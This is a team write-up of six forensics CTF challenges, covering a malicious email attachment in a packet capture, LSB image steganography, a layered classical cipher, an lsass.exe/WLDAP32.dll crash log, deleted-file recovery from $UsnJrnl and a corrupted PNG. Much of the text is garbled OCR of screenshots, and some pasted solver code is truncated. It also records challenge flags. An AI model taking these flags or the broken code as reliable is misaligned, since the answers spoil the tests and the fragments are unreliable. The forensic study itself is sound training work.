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Forensic Case

Challenge 1: Mailer - Part 1-2

Solved On: April 13th, 11:39:54 AM

Solved by: Muhammad Gale Adi Saputra

Flag Retrieved:
pu-flag{Visa_Payment_Document.zip_customer@fakebank.com_192.168.1.100:
N3}

Challenges overview:
Find out where the malware is and then find out who sent the email and then
find out the IP of the email recipient and the port of the email recipient

Key Findings: The interesting part about this case is finding out the sender of
the email containing the malware file

Forensic Analysis:
| searched every file sent via email and the one that proved to contain
malware was a zip from the email customer@fakebank.com

Tools Used:
| used Network Miner, WireShark and also virustotal.com to find where the

virus is

Solving Step-by-step:

Frame nr.  Source host Destination host  From GALE- SHERLOCK Htht Subject

33 192.168.1.100 kali] 192.168.1.24 "rboume@momingcatch ph" aboume@momingcatch ph>  * mlu'rgﬁgnommgcad‘l ph" <hmoreo@momingcatch ph>  Sales Humy Up
192.168.1.100 kali] 192.168.1.24 "customer@fakebank com" <customer@fakebank com> 'rboume@momingcatch ph” <boume@momingcatch ph3>

181 192.168.1.100 [kali] 192.168.1.24 “lisa@momingcatch ph” <isa@momingcatch ph> “tboume @momingcatch ph” <boume@momingcatch ph>  New Customer A

2040 192.168.1.100 [kal] 192.168.1.24 "mike @momingcatch ph" <mike @momingcatch ph> "bjenius@momingcatch ph" <bjenius@momingeatch ph> Licenced Putty | ;

2080 192.168.1.100 [kali] 192.168.1.24 "gift@starbucks com" <gift @starbucks .com> "gfarkins @momingcatch ph” <gfarkins@momingcatch ph>  New Gift

!
First, | searched for suspicious files sent via email, but at the first | am just
suspicous with an file .exe, but when | tried to submit the part one its an
wrong file then | search more for the file, finally found that
Visa_Payment_Document.zip is a zip that contains many viruses. | checked it
through the virustotal.com website and it was true. Then it was proven that
the sender's email was customer@fakebank.com



mailto:customer@fakebank.com

& C O hitps//wwwairustotal.com/gui/file/421

Z Q  421c4e3e64e606dd6d8beb025df0c06b182313ef455fa22891cf7348bb87145¢

C Reanalyze = Similar~  More

421c4e3e64e606dd6d8b6b025df0c06b182313ef455fa22891cf7348bb87145¢ Las!

Visa_Payment_Document.zip 32.49KB 1yearago

zp  attachment
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label Threat categories trojan  downloader Family labels wo7m  puwershell  pswmiload
Security vendors' analysis ® Do you want to automate checks?
Acronis (Static ML) Alibaba

AliCloud AlYac

Antiy-AVL Arcabit

Avast AVG

Avira (no cloud) Baidu @

BitDefender Clamav

Then | looked for the IP that the sender was aiming for, because there were
only 2 IPs, so | put 1921681100 as the sender and 192168124 as the
destination IP to attack, then the attacker used port 113 to attack IP
192.168.1.24.

Frame nr.  Client host C.pot Server host S.pot Protocol (application layer) Start time

1 192.168.1.100 [kali] 40458 192168124 25 SMTP 2020-04-01 07:46:34 UTC+00

42 192.168.1.100 kali] 40460 152.168.1.24 25 SMTP 2020-04-01 07:46:49 UTC+00

141 192.168.1.100 kali] 40462 192.168.1.24 25 SMTP 2020-04-01 07:47:45 UTC+00

191 192.168.1.100 [kali] 40464 192168124 25 SMTP 2020-04-01 07:50:59 UTC+00

2058 192.168.1.100 kal] 41162 192168124 25 SMTP 2020-04-01 08:11:14 UTC+00

2061 192.168.1.24 59574 192.1681... 113 2020-04-01 08:11:19 UTC+00

194 192.168.1.24 57075 192.168.1... 113 2020-04-01 07:51:04 UTC+00

144 192.168.1.24 41811 1921681... 113 2020-04-01 07:47:50 UTC+00

45 192.168.1.24 45018 192.168.1... 113 2020-04-01 07:46:54 UTC+0D \.ESS
4 192.168.1.24 51524 192.168.1... 113 2020-04-01 07:46:39 UTC+00 C,\( “OME'

ME- SHE_RLO
G



Challenge 2 : RGA? - Part 1-3

Solved On: April 13th, 10:43:58 AM
Solved by: Muhammad Gale Adi Saputra
Flag Retrieved: pu-flag{blu3_ch4nn3l_in_LSB_I34ks_s3cr3ts}

Challenges overview:
This is a three-part series focused on digital image forensics and color model
analysis.

Part 1 requires identifying the missing color component and the algorithm
used to generate the image.

Part 2 asks for a solver script that can restore the missing component with
sufficient context.

Part 3 is the final flag submission page after the solver successfully runs.

Key Findings:
The challenge title "RGA?" is a clear visual pun on RGB (only the letter B is
replaced with A).

Forensic Analysis:

1. Verification was performed using Python + Pillow to extract and log
RGB values across the image width.

2. Title and description clues (“I forgot one. Should | substitute it?") directly
pointed to the missing Blue channel and the need to restore the
original RGB model.

3. Verification was performed using Python + Pillow inside WSL to extract
and log RGB values across the image width.

Tools Used:

Python 3 + Pillow (PIL) library

Visual Studio Code

Windows Subsystem for Linux (WSL2 - Ubuntu)
Grok Al



Solving Step-by-step:

Part 1

Huh, Looks like | forgot one. Should | substitute it?

What is missing and what is the algorithm?

At the first | already know whats wrong when | see the title, | often see RGBA
(red green blue alpha) at any place, and theres missing B (blue), but to make
sure it, | build a code Pixel Analysis with Al to check if blue channel are
missing or not

#.SJERLQm}ﬁ-&OMEtfgg Sy ara—
Gale

bisakah kamu buatkan code python untuk pixel analysis, dan aku akan run di wsl

@ Telah berpikir selama 20s
Ya, tentu bisa! &

Karena kamu akan jalankan di WSL, aku buatkan kode Python yang ringan, CLI-only (tidak butuh GUI),

dan mudah dijalankan. Kode ini menggunakan Pillow (PIL) + NumPy untuk melakukan pixel analysis

pada gambar.

Langkah persiapan di WSL:

Bash [ O Salin

pip install pillow numpy

Kode Python lengkap ( pixel_analysis.py)

Python

import sys
from PIL import Image
import nump s

11

Tanyakan Apa Saja

After get the code | run it in my wsl

: python3 analyze.py
pixel values (R, G, B):

> R=255 G= 0 B=
> R=223 G= 31 B=
> R=191 G= 63 B=
> R=159 G= 95 B=
3
3
3
_)

Gale- SHERLOCK

R=127 G=127 B= HOMELESS
R= 95 G=159 B=
R= 63 G=191 B=

R= 31 G=223 B=

[cNoNoNoNoNoNoNo)

And the output is B=0 for all pixels it means missing Blue Channel
Submitted answer: blue RGB (or B, RGB linear interpolation)



Part 2

You understand what's missing and the algorithm? Now let's see if you can
create a solver with enough context

Enter the solver code below

And again, | ask Al to build the solver code for myself hehe,

from PIL import Image
import sys

img = Image.open("cha
pixels = img.load()
w, h = img.size

x in range(w):
for y in range(h):
r, g, b= pixelsEX. y]

new_b = 255 - (I + d) // 2
pixels[x, y] = (x, g, new_b)

img.save("fi
print("SOLVER
print("FI1:

And thats the code that Al build, after that i try to run it and got the solver
code, | expect that the flag will comeout, but the flag won't come out, the
output is like this

$ python3 solver.py challenge.png
xtracted: 0000OOOO00000000000000OOOOO00000000000000000OOOO00000000000000OKOOO0000OOOO0000000000000000000000000000000000
D00000000000000000K000000000000000000000000000000000000000000000000000000000000000K0000000000000000000000000000000000000
D0000000000000000000000000K000000000000000000000000000000000000000000000000000000000000000K00000000000000000000000000000
D000000000000000000000000000000000K000000000000000000000000000000000000000000000000000000000000000K000000000000000000000
D00000000000000000000000000000000000000000K000000000000000000000000000000000000000000000000000000000000000K0000000000000
DO000000000000000000000000000000000000000000000000K000000000000000000000000000000000000000000000000000000000000000K00000
D000000000000000000000000000000000000000000000000000000000K0000000000000000000000000000000000000000000000000000000000000
DOK000000000000000000000000000000000000000000000000000000000000000K00000000000000000000000000000000000000000000000000000
0000000000K000000000000000000000000000000000000000000000000000000000GHADE A 1SIHERAMOKAIAIWIERS 0000000000000000000000000
D00000000000000000K000000000000000000000000000000000000000000000000000000000000000K0000000000000000000000000000000000000
D0000000000000000000000000K000000000000000000000000000000000000000000000000000000000000000K00000000000000000000000000000
D000000000000000000000000000000000K000000000000000000000000000000000000000000000000000000000000000K000000000000000000000
DO0000000000000000000000000000000000000000K000000000000000000000000000000000000000000000000000000000000000K0000000000000
D0000000000000000000000000000000000000000000000000K000000000000000000000000000000000000000000000000000000000000000K00000
D000000000000000000000000000000000000000000000000000000000K0000000000000000000000000000000000000000000000000000000000000
DOKO00000000000000000000000000000000000000000000000000000000000000K00000000000000000000000000000000000000000000000000000
DO00000000K000000000000000000000000000000000000000000000000000000000000000K000000000000000000000000000000000000000000000
D00000000000000000K000000000000000000000000000000000000000000000000000000000000000K0000000000000000000000000000000000000
D0000000000000000000000000K000000000000000000000000000000000000000000000000000000000000000K00000000000000000000000000000
D000000000000000000000000000000000K000000000000000000000000000000000000000000000000000000000000000K000000000000000000000
D00000000000000000000000000000000000000000K000000000000000000000000000000000000000000000000000000000000000K0000000000000
D0000000000000000000000000000000000000000000000000K000000000000000000000000000000000000000000000000000000000000000K00000
D000000000000000000000000000000000000000000000000000000000K0000000000000000000000000000000000000000000000000000000000000
DOK000000000000000000000000000000000000000000000000000000000000000K00000000000000000000000000000000000000000000000000000
DO00000000K000000000000000000000000000000000000000000000000000000000000000K000000000000000000000000000000000000000000000
DO0000000000000000K000000000000000000000000000000000000000000000000000000000000000KO0000000000000000000000000000000000000
DO000000000000000000000000K000000000000000000000000000000000000000000000000000000000000000KO0000000000000000000000000000
D000000000000000000000000000000000K000000000000000000000000000000000000000000000000000000000000000K000000000000000000000




Part 3

Got the flag?

Submit below

And | try another way, another luck, | check the metadata of challenge.png In
aperisolve using Zsteg, and found the flag

Zsteg

b1,r,msb,xy .. file: openPGP Public Key

b1,g,1sb,xy .
b1,g,msb,xy .. file: OpenPGP Public Key

b1,b,1sb,xy B sl pu-flag{blu3_ch4nn3l_in LSB_134ks_s3cr3ts}ie

b1,b,msb,xy 0o —_— g S
b1,rgh,1sb co

e (Lo - MER jock. Homidt-
b1,bgr,1sb,xy .. text: "r7 r~"re#r?"

b1,bgr,msb,xy
b2,r,1sb,x




Challenge 3 : TripleThreat2 Part 1-4

Solved On: April 13th, 2:08:04 PM

Solved by:Andra Rizki Firmansyah

Flag Retrieved:
flag{W3-Tmpl3mEnt-tH15-1n-St3g0-nOw-t0-Mm4k3-yOu-B4LD-h3h3h3}

Challenges overview:

This challenge combines:

Cryptography

Steganography

Keyword deduction / clue interpretation

The ultimate goal is to find the key and then decrypt the ciphertext to obtain
the flag.

Key Findings:
1. The challenge provided three files: chall.py, chall.pong, and reyna2.jpg,
indicating a multi-layer challenge involving source code analysis and image
forensics.
2. chall.py contained custom encryption logic using three classical ciphers:

e Columnar Transposition

e Atbash Cipher

e Caesar Cipher
3. The Caesar shift depended on len(key), meaning the secret key length was
essential for decryption.
4. chall.png contained hidden ciphertext extracted through steganography
analysis.
5. reyna2.jpg contained a hidden clue that semantically pointed to the phrase
"persona non grata", which was determined to be the encryption key.
6. Combining the recovered key with reversed cipher operations successfully
revealed the final flag.

Forensic Analysis:

1. Static Code Analysis : chall.py was inspected manually to understand
the encryption workflow and identify the cipher sequence used by the
challenge author.

2. File Type Inspection : The provided image files were treated as potential
steganography containers due to the challenge category and file
naming.



Tools

O VN WN

Steganography Analysis on chall.png : zsteg was used to inspect LSB
data and metadata, revealing the hidden ciphertext string embedded
inside the PNG image.

Image Decomposition on reyna2.jpg : AperiSolve was used to inspect
channels, bit planes, and image artifacts. Hidden visual clues were
extracted from decomposed layers.

Open Source Intelligence (OSINT) / Keyword Deduction : The recovered
clue referred to "a person not wanted in a country", which matches the
diplomatic term "persona non grata".

Cryptanalysis:

Because encryption order was:

Columnar -> Atbash -> Caesar

Decryption was performed in reverse:

Caesar Reverse -> Atbash -> Reverse Columnar

Validation : The decrypted output matched the standard CTF flag
format, confirming successful recovery.

Used:

Linux Terminal, General file handling and command execution

Python 3, Writing the custom decryption solver

Zsteg, Extract hidden data from chall.png

AperiSolve, Online image forensic and steganography platform
Google Search, Used to identify the clue phrase as "persona non grata"
VSCode, Reviewing chall.py and writing solve.py

Solving Step-by-step:
Step 1 Analisis chall.py

Open

file source:

cat chall.py
Fouund the structure:
key = "REDACTED"

text =

shift =

"REDACTED"
len(key)

. ")((':1(.).((':}C)(|:..'o'.I
root@LAPTOP-6AU430S7I: /mnt/c/Users/Andra/Downloads/ctf/triplethreat# cat chall.py
M key = "REDACTED"

> text = "REDACTED"
> shift = len(key)

# Encrypt 1



Then there are 3 encryption functions:
1. Columnar Transposition Cipher
Plaintext is arranged in columns based on the key's letter sequence.
2. Atbash Cipher

Reverse alphabet substitution:

AoZ

BeVY

CeX

3. Caesar Cipher

Shift based:

len(key)

len(key)

# Encrypt 1
key_order = sorted(range(len(key)), key=lambda k: key[k])
columns = ['' for _ in key]

for idx, char in enumerate(text):
columns[idx % len(key)] += char

ciphertext =
for idx in key_order:
ciphertext += columns[idx]

# Encrypt 2
c = "
if 'A" <= ¢c <= 'Z":

# Encrypt 3
result = []
for char in text:
if char.isalpha():
base = ord('A') if char.isupper() else ord('a')
result.append(chr((ord(char) - base + shift) % 26 + base))
else:
result.append(char)

root@LAPTOP-6A430S71: /mnt/c/Users/Andra/Downloads/ctf/triplethreat# |

Step 2 Find the Ciphertext from chall.png

Use zsteg:

zsteg chall.png -a

Hidden text found:
ivONcbc3dWe3uc3-3--0-0-b-{Hs435vLdv-uS1-Dz3v3h-Kig}1-hjb00z-4h
This is the ciphertext.

root@LAPTOP-6A430S7I: /mnt/c/Users/Andra/Downloads/ctf/triplethreat# zsteg chall.png -a
file: Adobe Photoshop Color swatch, version ©, 1917 colors; 1lst RGB space (0), w 0x307, x 0x806, y 0, z ©; 2nd RGB space (@), w Oxff®
@, x Oxff00, y 0x100, z OxFff

file: Open ecret Key

file: ecret Key
file: a.o demand paged (first page unmapped) pure executable not stripped

file: Secret Key
file: Targa image data — Map 4096 x 1088 x 16 +256 — interleave "\004\020@"



Step 3 Find the Key for reyna2.jpg
Upload to:
https://mwww.aperisolve.com

And see this

M First upload: Mon, 13 Apr 2026 03:53:19 GMT

% Last upload: Mon, 13 Apr 2026 16:03:24 GMT

= Name(s):
Pg

8B size: 826.45 KB
X upload count: 7

A Common EAUUAEETTDEEE
password(s): PEOPLE WHO ARE WE WANTED WHEN A COUNTRY

A hidden clue was found in the form of a sentence that points to:
person not wanted in the country

After conducting a search, the official diplomatic term is:
persona non grata

person not wanted in the country named

# RingkasanAl  Indonesia 4

A person who is not wanted or welcomed in a particular country is often declared

3 : = Trump Calls Somalis ‘Garbage’ He Doesn't Want g%
persona non grata. This Lalin term, meaning “"unwelcome pers: is used by -
governments to legally banish or prohibit a foreign person—usually a diplomat—from 2 I

entering or staying in that country. @ Facesook +1

Key Aspects of a “Not Wanted™ Person

= Persona Non Grata: A formal diplomatic action prohibiting a person from entering or Refugees, Asylum Seekers and Migrants - ‘“
remaining in a country Amnesty International f é

Tampilkan lainnya v

Therefore, the key used is:
PERSONANONGRATA

Step 4 Decrypt Ciphertext

Since the encryption sequence is:
1. Columnar

2. Atbash

3. Caesar

Then decrypt it in reverse:



1. Reverse Caesar

2. Atbash

3. Reverse Columnar
Use the key:
PERSONANONGRATA

cipher =
key = "P

reverse caeqal(tpxt, shift):
out = ™"
for ¢ in text:
if c.isalpha():
base = ord('A") if c.isupper() else ord('a")
out += chr((ord(c)-base-shift)%26 + base)

out += cC
return out

atba:h(text):
(ord(c)-ord( 'A"))
out += Lhr(n C (ord(c)-ord('a’
return out
reverse_columnar(ciphertext, key):

n = len(key)
rows = math.ceil(len(ciphertext)/n)

C:\Users\Andra\Downloads\midforensik> cd .
S : \Users\Andra\Downloads> cd trlplethr‘eat
C:\Users\Andra\Downloads\triplethreat> python solve.py
LAG: pu-flag{w3-1mpl3mEnt-tH15-1n-St3g@-new-te-mak3-you-BaLD-h3h3h3}
»PS C:\Users\Andra\Downloads\triplethreat> I

Final Flag
flag{W3-Tmpl3mEnt-tH15-1n-St3g0-nOw-t0-Mm4k3-yOu-B4LD-h3h3h3}



Challenge 4 : Nightmare Part 1-2

Solved On: April 13th, 9:32:08 AM

Solved by: Andra Rizki Firmansyah

Flag Retrieved: pu-flag{2025-01-06_01_15_46_Isass.exe_WLDAP32.dll}

Challenges overview:

Challenge Nightmare Part 1 is a digital forensic challenge focused on
investigating traces of a recently exploited LDAP-related vulnerability.
Participants were given a Windows Event Log export file named
Application.xml| and asked to determine what LDAP is, where it is commonly
implemented, and identify traces of the exploit from system logs.

Key Findings:

At first glance, the most important finding was a Windows Application Error
event involving:

|sass.exe

WLDAP32.dll

This immediately indicated suspicious LDAP-related activity because:
Isass.exe is responsible for Windows authentication.

WLDAP32.dll is the Windows LDAP communication library.

This strongly suggested an LDAP crash or exploitation attempt
affecting authentication services.

Forensic Analysis:

The forensic analysis performed in this challenge includes:

1. File Type Identification

The provided file:

Application.xml

was identified as a Windows Event Log export in XML format.

2. XML Log Inspection

The file was opened using Visual Studio Code to inspect the XML structure,
crash events, timestamps, and related artifacts.

Relevant evidence found:

<Provider Name='ApplicationError/>

<Event|D>1000</Event|D>

This confirms the system recorded an Application Crash Event.

3. Keyword Searching in VS Code

The built-in search feature in Visual Studio Code was used to search for:



ldap
|sass.exe
wldap32.dll
4. Crash Artifact Analysis
Recovered values:
|sass.exe
WLDAP32.dll
c0000005
Analysis:
e |sass.exe = Local Security Authority Subsystem Service
o WLDAP32dIl = Windows LDAP library
e c0O000005 = Access Violation exception
This indicates Isass.exe crashed while interacting with the LDAP library.
5. LDAP Correlation
LDAP stands for:
Lightweight Directory Access Protocol
Common implementation:
Microsoft Active Directory
Used for:
e Domain authentication
e Userlogon
e |dentity management
e Group policy control

Tools Used:
e Visual Studio Code
e Search Function (Ctrl + F)
e Manual Log Analysis

Solving Step-by-step:
Step 1 Open the Evidence File
The file Application.xml was opened using Visual Studio Code.

Step 2 Search Relevant Keywords

Using Ctrl + F inside VS Code, the following keywords were searched:
ldap

Isass.exe

wldap32.dll



Step 3 Identify the Crash Event
Relevant log entry found:

<Provider Name='ApplicationError/>
<EventID>1000</Event|D>
<Data>Isass.exe</Data>
<Data>WLDAP32.dll</Data>
<Data>c0000005</Data>

This confirms:

e Faulting application = Isass.exe
e Faulting module = WLDAP32dll

xmlns="F t' Name="ApplicationError’
Qualifiers="0">16 ] OX80000020000000
SystemTime=" e1: ProcessID="0"
ThreadID="6" Application DESKTOP-UL356CG lsass.exe
10.0.20348.1194 5281207d WLDAP32.d11 10.6.20348.1006 9872ac8e
COPOORAS 0000000000031ebt 2d8 01dbsff981e2652e C: \Windows\system32\1sass.
C:\Windows\System32\WLDAP32.d11 efa6d9e8-22ea-451b-9712-2e0549f5be89c

1: @40fa323-92b1-4baf-97a2-5b67feaefddb, 1, @ [(@ [@xCe04aFe14, ©, 0], [()(I()())ICI()N (2 )(3 )]

Step 4 Determine LDAP Meaning

LDAP was identified as:

Lightweight Directory Access Protocol

Usually implemented in:

Microsoft Active Directory

Final Answer Submitted:

LDAP stands for Lightweight Directory Access Protocol and it is commonly
implemented in Microsoft Active Directory. Evidence found in Application.xml
shows |sass.exe crashed with WLDAP32.dll.



Challenge 5 : lost-d4-ImpOrt4nt-Fil3 Partl-4

Solved On: April 14th, 9:44.13 AM

Solved by: Muhammad Gale Adi Saputra-Andra Rizky Firmansyah
Flag Retrieved: pu-flag{2025-01-27 23:23:22_126638}

Challenges overview:
Search for files that have been deleted by malicious actors

Key Findings:
| was looking for something that didn't exist but was just hidden and finally
found the data that had been lost

Forensic Analysis:

| used FTK imager to search for deleted data but it turns out that deleted data
is like a cheat. deleted data apparently has to be converted to csv in order to
see more than deleted files in FTK imager.

Tools Used:
| used FTK imager and MFTECmd.exe (in sheny laptop ")

Solving Step-by-step:

Part1

A file which contained the flag was securely deleted by the malicious actor,
can you find the last updated timestamp of the file as well as MFT entry
number?

What tool do you think we need to analyze this type of file?

Because the guestion mention “was securely deleted by the malicious actor”
then the file was deleted, For me | often used FTKImager for analyze deleted
files

Part 2

Okay, you can open the file yey! Now, let's check where the deleted file is
deleted. You need to find "critical NTFS file system" then extract something
inside it.

What is the name of the file you need to extract?

| extract a 3 file in FTKImager and Extract $UsnJrnl and open it. in the folder
there are 2 files that must be extracted simultaneously



Part 3

Looks like the file you extracted is a raw log, to read this you are going to need
a parser.

What tool could it be? P.S you could search it here
https:/ericzimmerman.github.io/#!lindex.m

Then | downloaded Eric Zimmerman's MFTECmd from
https://ericzimmerman.github.io/#!index.m

Copied the extracted raw log and MFTECmd to the same folder.

@ shen@LAPTOP-QIIRTGOR: /m X B Windows PowerShell X ™ Command Prompt X & ubuntu

PS C:\Users\shen\Downloads>
PS C:\Users\shen\Downloads> .\MFTECmd.exe

PS C:\Users\shen\Downloads> cd lost
PS C:\Users\shen\Downloads\lost> .\MFTECnmd.exe
File E Jnrl\.copy® not found. Exiting
\D. \ .\MFTECmd . exe ¢
wnloads\lost\.copy® not found. Exiting
Downloads\lost> .\MFTECmd.exe

ELESS

/MFTECmd

riczimmerman@gmail.com) Gale - SHERLOCK HOM

Command line: . csv . \output
Warning: Administrator privileges not found!

File type:

Processed .\$J.copy® in seconds
Usn entries found in .\$J.copy®:
Path to .\output doesn't exist. Creating..

CSV output will be saved to .\output\20260413093702_MFTECmd_$J_Output.csv

PS C:\Users\shen\Downloads\lost> |

o B Qs €S . 0ua:E.Peefdm Ao TS 00


https://ericzimmerman.github.io/#!index.md
https://ericzimmerman.github.io/#!index.md

Part 4

Okay, you parsed it yet? Let's find the flag now and construct it

Flag

Format: pu-flag{YYYY-MM-DD HH:MM:SS_EntryNumber}

Example: pu-flag{2000-01-01 12:34:56_123456}

And After use MFTE, | got output wich is in CSV format and | open it in Excel
but theres so many logs, so | search for the keywords “flag” and got the Flag
in line 300k the flag is entry number,update stamp then | construct that to
pu-flag{2025-01-27 23:23:22_126638}

= auosave (@ off) e < 20260413092702_MFTECmd_$J_Output O ch

Fle Home Insert Draw Pagelayout Formulas Data Review View Developer Help Nitro PDF Pro  Terabox ) Comments

Calibri 25 Wrap Text General v ji==] QEZ IF/“ & =X B 2 Autosum Y @) m

00 | Conditional Formatas  Cell Insert Delete Format el Sort& Find& | Add-ins | Saveto

B I U-~ [ Merge & Center ~ | @ v % )
- - = e B % 9| % Formatting v Table v Styles v " 5 © Clear~ e -

Clipboard I ] Alignment ] Number ] Styles Cells Editing Add-ins Save

POSSIBLE DATA LOSS  Some features might be lost if you save this workbook in the comma-delimited (.csv) format. To preserve these features, save it in an Excel file format. ‘m‘ ‘ﬂ‘

A300234 i Jx|| flag.ixt, txt,126638,7,103558,2,752451768,2025-01-27 23:23:22.3193255 RenameNewName | Close,Archive,39420088,.\$)..copy0
\ A B

Blo[oket] Preferences,, 127015,14,104257,1,,752451144,2025-01-27 23:23:16.5537169,SecurityChange | RenameNewName| BasicinfoChang
E{o[epPl] Preferences~RF5307d.TMP,.TMP,134431,11,104257,1,,752451232,2025-01-27 23:23:16.5537169,RenameNewName | Close,Archi
Preferences,, 127015,14,104257,1,,752451344,2025-01-27 23:23:16.5537169,SecurityChange | RenameNewName | BasicInfoChang
300231 Preferences”RF5307d.TMP,.TI\/EPAEéfléﬁgnl&&pﬁ%VEEEs%SMS1432,2025—01—27 23:23:16.5537169,FileDelete | Close,Archive,39419
Elo[orEPd New Text Document.txt,.txt,126638,7,103558,2,,752451584,2025-01-27 23:23:22.3193255,RenameOldName,Archive,39419904,.
BloopRE] flag.txt,. txt,126638,7,103558,2,,752451688,2025-01-27 23:23:22.3193255,RenameNewName,Archive,39420008,.\5).copy0
fIag.txt,.txt,126638,7,103558,2,,752451768,2025—01—27|23:23:22.3193255,RenameNewName | Close,Archive,39420088,.\$J.copy0
Bl0[0PERY f01b4d95cf55d32a.automaticDestinations-ms,.automaticDestinations-ms,104250,3,104911,7,,752451848,2025-01-27 23:23:22.33
f01b4d95cf55d32a.automaticDestinations-ms,.automaticDestinations-ms,104250,3,104911,7,,752451992,2025-01-27 23:23:22.33
B{)0PEY flag.txt,. txt,126638,7,103558,2,,752452136,2025-01-27 23:23:22.3504677,0bjectildChange,Archive,39420456,.\5J.copy0
B{0oPEL] flag.txt,. txt,126638,7,103558,2,,752452216,2025-01-27 23:23:22.3504677,0bjectildChange | Close,Archive,39420536,.\$J.copy0
flag.txt.Ink,.Ink,134431,12,103627,1,,752452296,2025-01-27 23:23:22.3504677,FileCreate,Archive,39420616,.\$J.copy0
E{00pZN] flag.txt.Ink,.Ink,134431,12,103627,1,,752452384,2025-01-27 23:23:22.3504677,DataExtend | FileCreate,Archive,39420704,.\$J.cop
E{0[0pZN] flag.txt.Ink,.Ink,134431,12,103627,1,,752452472,2025-01-27 23:23:22.3504677,DataExtend | FileCreate | Close,Archive,39420792,.
Elo[op¥ipd 5f7b5f1e01b83767.automaticDestinations-ms,.automaticDestinations-ms,104534,2,104911,7,,752452560,2025-01-27 23:23:22.35




Challenge 6 : goTTa-fix-the-corrupTlon Part 1-2
Solved On: April 13th, 9:11:22 AM

Solved by: Sheny Ayu Zahra

Flag Retrieved: pu-flag{3asy-Obfusc4tlOn-4nd-st3g-does-it?}

Challenges overview:
This challenge is about finding the flag through a file named vi.png. The file
itself is corrupted and we should find a way to fix and analyze it to find the flag

Key Findings:

The first time we see the challenge, it only provides one attachment file
which is vi.pong. When trying to open the file, it doesn’t work, which means it is
corrupted just like the title of the challenge. So we assume that we should fix
and analyze the file to get the flag

Forensic Analysis:

| try to use exiftool but it doesnt work, so i use hexed.it but the image is binary,
at first i thought its wrong format, then after knowing its binary maybe i have
to change that into hex so i can render the image using hex, then i try make
code binary to hex in python, after i got the hex, i use cyberchef to translate
hex into image, then | save the image, to make it easier i use Aperi'Solve to
analyze the image and gotcha, i find the flag in decomposer feature

Tools Used:

e https:/hexed.it/: to see the binary inside file

e WSL Command : change the image to binary number & run the python
code
Notepad : to copy the hex text
Visual Studio Code : make python code from binary to hex
https:/gchg.github.io/CyberChef/ : to change hex text to image
https:.//www.aperisolve.com/ : to analyze the image in decomposer



http://hexed.it
https://hexed.it/
https://gchq.github.io/CyberChef/
https://www.aperisolve.com/

Solving Step-by-step:

goTTa-fix-the-corrupTlon - Part 1

My bestie and | like to watch arcane! Recently, she sent me a picture of Vi
from her old computer, mentioning it contained "something strictly
confidential" However, the image was altered during the transfer from her
low-resolution computer. Now, | need help restoring the image and
discovering the strictly confidential thing within it. Can you help?

What happen to this image? What is the solver code to handle this initially?

The image is a binary text, so i have to make code binary to hex using python
with open ("hex.txt", "r") as file:
binary data = file.read() .replace("\n", "")

binary data = binary data[:len (binary data) - (len(binary data) % 8)]

''".Join(format (int (binary dataf[i:1+8], 2), '02X"') for 1
len (binary data), 8))

with open ("output hex.txt", "w") as output file:
output file.write (hex data)

print ("Hex data saved to output hex.txt")

goTTa-fix-the-corrupTlon - Part 2
1. Download the image, when i open its error, so something is wrong in the
image

B QX mik H

ST ST

v H ThisPC

. solve.py prt_recovered_4cfcll pert 2.7z challengeimg vipng pert (1).7z challenge.png
= Windows-SSD (C) b81b6842a2b0ed70d



2. Because its error so i try using hexed.it i thought the image format is wrong,
but it showing binary number

th X ¥ CTF President University Batch . X a SHERLOCK HOMELESS - Googl: X E SHERLOCK HOMELESS - Goog X EJ HexEdiit - Free Browser-based X + - (m] X
dit % @ » OB e a3 &0 +@
& & A » * @ T = B E @ + ® 6 O H 9 % vV 6 ¥ 8 @ o o 9 » [ All Bookmarks
Save as Settings
“Untitled- vi.png GoTo
00000000 [Tl eo 10 01 01 61 €@ 08 01 60 11 10 61 60 01 11 J Cunent Address 0X00000000 Ve
; 90000010 60 60 11 61 60 00 10 10 060 01 10 10 00 00 10 10
625 KiB) 00000020 ©0 00 0O 0O 00 0O 60 60 60 00 00 60 08 60 11 01 lewiflEE (R
Jian) 5 ©0000030 01 60 10 01 ©1 @0 10 00 01 00 @1 00 01 ©1 60 10 Goto
00000040 00 60 60 G0 GO 60 00 00 00 00 01 00 10 11 06 00
Signed (£) 90000050 00 00 00 00 00 60 00 B0 00 00 60 10 11 10 01 00 S
. 00000060 60 60 10 60 G0 60 00 16 00 00 00 00 00 00 00 00 S
» 90000070 60 60 60 60 10 01 00 00 10 060 11 00 01 61 16 11
00600080 ©1 00 0O 11 60 00 60 60 60 00 00 61 08 00 60 00 DataType
1048592 90000090 60 60 60 60 61 00 10 01 01 00 01 00 01 00 00 o1
17825808 000000A0 61 61 61 60 61 11 10 08 16 01 11 00 01 16 01 00

0000@0BO 11 11 11 ©1 61 60 11 @1 10 01 @@ 11 01 61 11 o1
660600CO ©1 00 16 01 10 61 00 10 00 10 61 61 10 60 10 00
00000600 01 10 10 01 00 10 10 11 11 01 o1 oo 11 01-dF e EHERLOCK HOMELESE « SHENY AY L) ZAHRA
00060OEO  ©0 01 61 01 00 60 01 10 11 60 60 11 11 60 61 01
000000FO ©0 00 10 11 01 60 11 11 01 10 @1 00 01 01 @1 00
06060100 ©1 11 61 00 01 11 61 60 01 60 11 10 11 11 61 10

LS 312 90000110 01 ©0 10 00 ©1 60 11 ©1 10 11 01 11 11 11 00 00
06000120 ©1 10 66 11 00 11 01 10 10 61 61 00 01 61 11 10
00000130 ©0 00 11 00 01 60 o1 01 10 11 10 00 11 10 60 00 re—
00000140 ©0 00 11 11 11 10 00 10 00 10 11 11 10 16 60 00
00000150 11 11 00 ©0 00 61 ©1 11 01 11 00 61 11 60 16 11
00060160 ©0 00 11 01 00 11 01 11 10 11 60 11 00 10 60 00
32 Local 00000170 10 11 10 01 10 10 60 00 00 00 10 00 00 11 61 11 Text Encoding All -
— 06000180 ©0 01 61 00 01 61 01 10 11 11 61 61 00 60 11 00 e e el
00000190 10 00 10 11 00 10 o1 61 11 00 01 61 11 10 16 10 )
00.000 UTC 000001A0 10 61 10 10 10 10 11 80 10 10 11 00 01 060 11 00 Case Sensitivity Mateh Case (faster
48UTC 000001BO 00 ©1 61 00 00 60 10 10 11 10 16 01 11 10 10 01 Byte Order | Little-endian

3. Then i try to make the image in txt file view using WSL Command, xxd -p
(image file) > (txt file)

< Downloads X +

€ ™ G J > Downloads >

@ New -~ X% 0 G ® W P Sort ~ O View -
£ Home ~ Today
A Gallery

> @% sheny - Personal CTF « BHERLOCK HOMELESS - SHENY YLl ZAHRA

@l Deskto
